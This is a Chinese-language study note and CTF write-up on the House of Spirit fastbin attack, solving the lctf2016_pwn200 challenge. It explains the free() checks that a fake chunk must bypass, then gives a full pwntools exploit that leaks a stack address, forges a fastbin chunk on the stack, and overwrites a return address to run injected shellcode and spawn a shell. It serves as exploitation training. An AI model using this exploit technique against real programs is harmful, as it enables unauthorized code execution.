House of Spirit学习记录
House of Spirit
House of spirit属于fastbin attack中的一种,个人觉得不常见且比较简单,就是我们在堆已经初始化的前提下,通过伪造一段内存,构造成大小在fastbin范围内的chunk块,随后通过释放这段内存后再次申请的操作,实现向任意地址中写。常见情况是,目标地址无法直接写入,但是可以同时构造目标地址的前后内存内容。具体的构造需要绕过把chunk块free入fastbin中时的检查(详细原因可以见free源代码):
- fake chunk的size在fastbin的范围中(64位程序中是32字节到128字节),且其ISMMAP位不为1
- fake chunk的地址对齐
- fake chunk的next chunk的size大小满足大于2*SIZE_SZ(64位程序中SIZE_SZ为8),小于av->system_mem(在main_arena中,默认为128kb)
- fake chunk与对应的fastbin链表头chunk不同(会检查是否double free)
例题:buuoj -- lctf2016_pwn200
WP:
逐步分析程序,首先要求输入name,随后利用%s
打印出来,根据%s
打印时遇\x00
结束符才会结束的特点,可以泄露rbp地址,并且要求输入id。接着,要求输入money,read
时又存在溢出,正好能够覆盖dest
变量,其实是一个向任意地址中写入任意内容的漏洞点(因此我们可以直接实现向got表中写入恶意代码地址来执行,但是为了说明House of Spirit,我们不采用这种方式)。再接着,是一个菜单,我们可以选择释放刚刚的dest
块,当ptr
为空时我们可以再次申请内存,在这里我们就可以实现上述先释放fake_fastbin_chunk
再申请到目标地址。
先查看保护,所有的保护都没有开:
可以直接执行注入到堆栈上的shellcode,同时可以发现这道题特别明显的特点就是连用多个函数调用,而几乎在每次函数调用中都有用户输入,于是多次函数调用之间的栈结构可以作为一段vulnerable area,这里我希望向函数返回地址中写入shellcode恶意代码的地址,由于写入字节数的控制,我们无法直接写入,但是通过题目提供的输入函数,我们可以控制返回地址前后内存中的内容,这里我选择的目标地址是输入money函数的返回地址:
那么通过输入money内容就可以构造目标地址前面的内容为fake_fastbin_chunk
,但是我们知道还需要同时构造目标地址后面的内容为写入绕过检查的next chunk 的size,这里便用到了调用该函数的上一级函数中输入的id:
可以看到id被存入了rbp-0x38
的位置中。
于是,我们构造的栈结构如下:
具体的exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='pwn200'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',29288)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
z()
ru("who are u?\n")
shellcode=asm(shellcraft.sh())
shellcode=shellcode.ljust(0x30,'\x90')
sd(shellcode)
p.recv(48)
#泄露栈地址
rbp_addr=leak_address()
print hex(rbp_addr)
ru('give me your id ~~?\n')
sd('2000')#fake_nextchunk_size
ru("give me money~\n")
pd=p64(0)+p64(0x60)+'\x00'*0x28+p64(rbp_addr-0xb0)#覆盖dest
sd(pd)
ru("your choice : ")
sl('2')#释放fake_fastbin_chunk
ru("your choice : ")
sl('1')
ru('how long?\n')
sl('80')#申请到fake chunk
ru("\n80\n")
sh_addr=rbp_addr-0x50
#覆盖target为shellcode地址,执行shellcode
pd='a'*0x38+p64(sh_addr)+'a'*0x10
sd(pd)
ru("your choice : ")
sl('3')
p.interactive()